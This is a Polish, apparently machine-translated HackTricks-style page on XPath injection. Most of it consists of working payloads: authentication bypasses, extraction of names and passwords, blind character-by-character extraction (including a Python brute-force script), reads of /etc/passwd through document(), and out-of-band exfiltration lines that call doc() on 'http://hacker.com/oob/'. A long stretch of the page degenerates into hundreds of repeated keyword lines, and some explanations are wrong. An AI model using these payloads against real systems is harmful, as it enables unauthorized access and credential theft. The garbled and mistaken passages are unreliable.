38 KiB
Wstrzykiwanie XPath
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Podstawowa składnia
Technika ataku znana jako Wstrzykiwanie XPath jest wykorzystywana do wykorzystania aplikacji, które tworzą zapytania XPath (XML Path Language) na podstawie danych wprowadzanych przez użytkownika w celu wyszukiwania lub nawigacji po dokumentach XML.
Opis węzłów
Wyrażenia są używane do wyboru różnych węzłów w dokumencie XML. Poniżej przedstawiono te wyrażenia i ich opisy:
- nodename: Wybierane są wszystkie węzły o nazwie "nodename".
- /: Wybór jest dokonywany od węzła głównego.
- //: Wybierane są węzły pasujące do zapytania od bieżącego węzła, niezależnie od ich położenia w dokumencie.
- .: Wybierany jest bieżący węzeł.
- ..: Wybierany jest rodzic bieżącego węzła.
- @: Wybierane są atrybuty.
Przykłady XPath
Przykłady wyrażeń ścieżkowych i ich wyników obejmują:
- bookstore: Wybierane są wszystkie węzły o nazwie "bookstore".
- /bookstore: Wybierany jest element główny bookstore. Należy zauważyć, że ścieżka bezwzględna do elementu jest reprezentowana przez ścieżkę rozpoczynającą się od ukośnika (/).
- bookstore/book: Wybierane są wszystkie elementy book będące dziećmi bookstore.
- //book: Wybierane są wszystkie elementy book w dokumencie, niezależnie od ich położenia.
- bookstore//book: Wybierane są wszystkie elementy book będące potomkami elementu bookstore, bez względu na ich położenie pod elementem bookstore.
- //@lang: Wybierane są wszystkie atrybuty o nazwie lang.
Wykorzystanie predykatów
Predykaty są używane do precyzowania wyborów:
- /bookstore/book[1]: Wybierany jest pierwszy element book będący dzieckiem elementu bookstore. Sposobem obejścia dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako [0], jest ustawienie SelectionLanguage na XPath za pomocą JavaScript.
- /bookstore/book[last()]: Wybierany jest ostatni element book będący dzieckiem elementu bookstore.
- /bookstore/book[last()-1]: Wybierany jest przedostatni element book będący dzieckiem elementu bookstore.
- /bookstore/book[position()<3]: Wybierane są dwa pierwsze elementy book będące dziećmi elementu bookstore.
- //title[@lang]: Wybierane są wszystkie elementy title z atrybutem lang.
- //title[@lang='en']: Wybierane są wszystkie elementy title z atrybutem "lang" o wartości "en".
- /bookstore/book[price>35.00]: Wybierane są wszystkie elementy book z elementu bookstore o cenie większej niż 35.00.
- /bookstore/book[price>35.00]/title: Wybierane są wszystkie elementy title z elementów book z elementu bookstore o cenie większej niż 35.00.
Obsługa nieznanych węzłów
Dla dopasowania nieznanych węzłów stosuje się symbole wieloznaczne:
- *: Dopasowuje dowolny węzeł elementu.
- @*: Dopasowuje dowolny węzeł atrybutu.
- node(): Dopasowuje dowolny węzeł dowolnego rodzaju.
Kolejne przykłady obejmują:
- /bookstore/*: Wybiera wszystkie węzły elementów potomnych elementu bookstore.
- //*: Wybiera wszystkie elementy w dokumencie.
- //title[@*]: Wybiera wszystkie elementy title z co najmniej jednym atrybutem dowolnego rodzaju.
Przykład
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Uzyskaj dostęp do informacji
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath to query XML data. By injecting malicious XPath expressions, an attacker can manipulate the application's query and access sensitive information.
To access information using XPath Injection, follow these steps:
-
Identify the vulnerable input: Look for user inputs that are used in XPath queries, such as search fields or URL parameters.
-
Test for injection: Inject a simple payload, such as a single quote ('), to check if the application is vulnerable to XPath Injection. If an error message or unusual behavior occurs, it indicates a potential vulnerability.
-
Enumerate the XPath structure: Use various techniques, such as Boolean-based or error-based payloads, to determine the structure of the XPath query. This helps in crafting a successful injection payload.
-
Extract information: Craft an injection payload to extract the desired information from the XML data. This can be done by manipulating the XPath query to return specific nodes or attributes.
-
Exploit the vulnerability: Submit the crafted payload to the vulnerable input and observe the response. If the application returns the desired information, the XPath Injection vulnerability has been successfully exploited.
It is important to note that XPath Injection can lead to serious consequences, such as unauthorized access to sensitive data or even remote code execution. Therefore, it is crucial to properly sanitize and validate user inputs to prevent such attacks.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identyfikacja i kradzież schematu
XPath injection może być wykorzystane do identyfikacji i kradzieży schematu bazy danych. Aby to osiągnąć, możemy użyć funkcji XPath, takich jak substring()
, substring-before()
, substring-after()
, contains()
, starts-with()
, ends-with()
, string-length()
, concat()
, normalize-space()
, translate()
, count()
, sum()
, avg()
, min()
, max()
, floor()
, ceiling()
, round()
, position()
, last()
, name()
, local-name()
, namespace-uri()
, string()
, number()
, boolean()
, true()
, false()
, not()
, and()
, or()
, div()
, mod()
, union()
, intersect()
, except()
, document()
, doc()
, collection()
, element()
, attribute()
, text()
, comment()
, processing-instruction()
, node()
, root()
, parent()
, ancestor()
, ancestor-or-self()
, child()
, descendant()
, descendant-or-self()
, following()
, following-sibling()
, preceding()
, preceding-sibling()
, self()
, namespace-node()
, union()
, intersect()
, except()
, for
, let
, where
, order by
, return
, if
, then
, else
, switch
, case
, default
, try
, catch
, finally
, throw
, as
, cast
, treat
, instance of
, of
, to
, in
, satisfies
, some
, every
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, collation
, stable
, ascending
, descending
, empty greatest
, empty least
, `coll
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Ominięcie uwierzytelnienia
Przykład zapytań:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR bypass w użytkowniku i haśle (ta sama wartość w obu)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Wykorzystywanie wstrzyknięcia null
W przypadku ataku XPath Injection, wstrzyknięcie wartości null może być wykorzystane do obejścia filtrowania i uzyskania nieoczekiwanych wyników. Wstrzyknięcie null polega na podaniu wartości null jako argumentu funkcji XPath, co może prowadzić do ominięcia warunków logicznych i wyświetlenia wszystkich rekordów z bazy danych.
Przykład
Przykładem wykorzystania wstrzyknięcia null może być zapytanie XPath, które wygląda następująco:
//user[username/text()='admin' and password/text()='admin' or 1=1']
Aby wykorzystać wstrzyknięcie null, możemy zmodyfikować zapytanie, dodając wartość null jako argument funkcji XPath:
//user[username/text()='admin' and password/text()='admin' or null()]
W ten sposób, jeśli filtracja nie uwzględnia wartości null, wszystkie rekordy zostaną zwrócone, a atakujący może uzyskać dostęp do poufnych informacji.
Zapobieganie wstrzyknięciu null
Aby zapobiec wstrzyknięciu null, należy odpowiednio filtrować i walidować dane wejściowe. Należy unikać bezpośredniego włączania danych użytkownika do zapytań XPath i zawsze stosować parametryzację zapytań. Dodatkowo, należy stosować mechanizmy kontroli dostępu i uwierzytelniania, aby ograniczyć dostęp do poufnych danych.
Username: ' or 1]%00
Podwójne OR w nazwie użytkownika lub haśle (jest ważne tylko w przypadku jednego podatnego pola)
WAŻNE: Zauważ, że "and" jest pierwszą wykonaną operacją.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Wyodrębnianie ciągów znaków
Wyjście zawiera ciągi znaków, a użytkownik może manipulować wartościami w celu wyszukiwania:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Uzyskiwanie długości wartości i jej wydobycie poprzez porównania:
XPath Injection can be used to extract the length of a value by leveraging boolean-based blind exploitation. By injecting specific payloads into vulnerable input fields, we can manipulate the XPath query to return a true or false statement based on the length of the value being tested.
To determine the length of a value, we can use the string-length()
function in XPath. By comparing the length of the value to a known length, we can extract the value character by character.
Here is an example of how this can be done:
' or string-length(/path/to/value) = X or '
In this example, /path/to/value
represents the XPath expression that retrieves the value we want to extract, and X
is the length we are comparing it to.
To extract the value character by character, we can use the substring()
function in XPath. By iterating through the characters of the value and comparing each character individually, we can gradually extract the entire value.
Here is an example of how this can be done:
' or substring(/path/to/value, Y, 1) = 'Z' or '
In this example, /path/to/value
represents the XPath expression that retrieves the value we want to extract, Y
is the position of the character we want to extract (starting from 1), and Z
is the character we are comparing it to.
By combining these techniques, we can perform blind exploitation to extract values from vulnerable applications through XPath Injection.
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Przykład w Pythonie
import requests
def get_user_password(username):
url = f"http://example.com/login?username={username}&password=' or '1'='1"
response = requests.get(url)
if "Welcome" in response.text:
return "Success"
else:
return "Failure"
Opis
Ten przykład przedstawia prostą funkcję w Pythonie, która wykorzystuje atak wstrzyknięcia XPath do uzyskania hasła użytkownika. Funkcja get_user_password
przyjmuje nazwę użytkownika jako argument i tworzy URL, który zawiera wstrzyknięty kod XPath. W tym przypadku, wstrzyknięcie XPath jest używane do sprawdzenia, czy podane hasło jest poprawne.
Wyjaśnienie
-
Funkcja
get_user_password
tworzy URL, który zawiera nazwę użytkownika jako parametr i wstrzyknięty kod XPath jako hasło. Wstrzyknięcie XPath' or '1'='1
oznacza, że zawsze będzie prawdziwe, co umożliwia zalogowanie się bez znajomości prawidłowego hasła. -
Następnie funkcja wysyła żądanie GET do serwera pod wskazany URL.
-
Jeśli odpowiedź serwera zawiera tekst "Welcome", oznacza to, że logowanie się powiodło i funkcja zwraca "Success".
-
W przeciwnym razie, jeśli odpowiedź serwera nie zawiera tekstu "Welcome", oznacza to, że logowanie się nie powiodło i funkcja zwraca "Failure".
Zapobieganie
Aby zapobiec atakom wstrzyknięcia XPath, należy zawsze korzystać z parametryzowanych zapytań SQL lub innych mechanizmów, które automatycznie zabezpieczają dane wejściowe przed wstrzyknięciem kodu. Należy również unikać bezpośredniego budowania zapytań SQL lub XPath na podstawie danych wejściowych użytkownika.
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Odczytaj plik
XPath Injection może być wykorzystane do odczytania zawartości plików na serwerze. Aby to zrobić, musisz znaleźć odpowiednie zapytanie XPath, które pozwoli na odczytanie pliku. Poniżej znajduje się przykład zapytania XPath, które odczytuje zawartość pliku /etc/passwd
:
' or 1=1 or ''='
W przypadku, gdy aplikacja jest podatna na atak XPath Injection, to zapytanie zostanie zinterpretowane jako prawdziwe i zwróci wszystkie rekordy z bazy danych. Możesz jednak zmodyfikować to zapytanie, aby odczytać zawartość pliku. Poniżej znajduje się przykład zapytania XPath, które odczytuje zawartość pliku /etc/passwd
:
' or 1=0 or 'a'='a' and contains(//user[1]/name/text(),document('file:///etc/passwd')) or 'a'='a
W tym przypadku, zapytanie zostanie zinterpretowane jako fałszywe, ale zawiera warunek contains
, który sprawdza, czy zawartość pliku /etc/passwd
jest obecna w pierwszym rekordzie bazy danych. Jeśli tak, to zapytanie zwróci prawdziwe, co oznacza, że plik został odczytany.
Pamiętaj, że XPath Injection może być niebezpieczne i powinieneś go używać tylko w celach pentestowych na legalnie dostępnych systemach.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Wykorzystanie OOB (Out-of-Band)
Out-of-Band (OOB) to technika wykorzystywana w atakach XPath Injection, która pozwala na wydostanie danych z aplikacji internetowej poprzez wysyłanie żądań do zewnętrznego serwera. Wykorzystuje ona funkcje zapytań HTTP, DNS lub innych protokołów komunikacyjnych do przekazywania danych z aplikacji do atakującego.
Wykorzystanie OOB w atakach XPath Injection
-
Zapytania HTTP: Atakujący może wykorzystać zapytania HTTP, aby przekazać dane z aplikacji do swojego serwera. Może to obejmować wysyłanie żądań GET lub POST z odpowiednimi parametrami, które zawierają dane, które chce wydobyć.
-
Zapytania DNS: Atakujący może wykorzystać zapytania DNS, aby przekazać dane z aplikacji do swojego serwera DNS. Może to obejmować manipulację nazwami domen, aby zawierały dane, które chce wydobyć. Następnie atakujący może monitorować swoje serwery DNS, aby odebrać te dane.
-
Inne protokoły komunikacyjne: Oprócz zapytań HTTP i DNS, atakujący może wykorzystać inne protokoły komunikacyjne, takie jak SMTP (Simple Mail Transfer Protocol) lub FTP (File Transfer Protocol), do przekazywania danych z aplikacji do swojego serwera.
Przykład wykorzystania OOB w atakach XPath Injection
Przykładem wykorzystania OOB w atakach XPath Injection może być atak na aplikację internetową, która wykonuje zapytania XPath na podstawie danych wprowadzonych przez użytkownika. Atakujący może manipulować tymi danymi, aby wydobyć poufne informacje z aplikacji.
Na przykład, jeśli aplikacja wykonuje zapytanie XPath na podstawie danych wprowadzonych przez użytkownika, atakujący może wprowadzić złośliwe dane, które będą generować zapytanie HTTP do swojego serwera. W ten sposób atakujący może otrzymać poufne informacje, takie jak nazwy użytkowników, hasła lub inne dane wrażliwe.
Zapobieganie wykorzystaniu OOB w atakach XPath Injection
Aby zapobiec wykorzystaniu OOB w atakach XPath Injection, należy podjąć następujące środki ostrożności:
-
Walidacja danych wejściowych: Upewnij się, że dane wprowadzane przez użytkownika są poprawnie walidowane i filtrowane, aby zapobiec wstrzykiwaniu złośliwego kodu XPath.
-
Używanie parametryzowanych zapytań: Zamiast tworzyć zapytania XPath na podstawie danych wprowadzonych przez użytkownika, należy używać parametryzowanych zapytań, które oddzielają dane od kodu zapytania.
-
Ograniczanie uprawnień: Ogranicz uprawnienia aplikacji, aby uniknąć dostępu do poufnych danych przez złośliwe zapytania XPath.
-
Monitorowanie i logowanie: Monitoruj i loguj zapytania XPath, aby wykryć i śledzić potencjalne ataki OOB.
-
Regularne aktualizacje: Regularnie aktualizuj oprogramowanie aplikacji, aby uniknąć znanych podatności, które mogą być wykorzystane w atakach OOB.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Automatyczne narzędzia
Odwołania
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Wgląd w hakerstwo
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.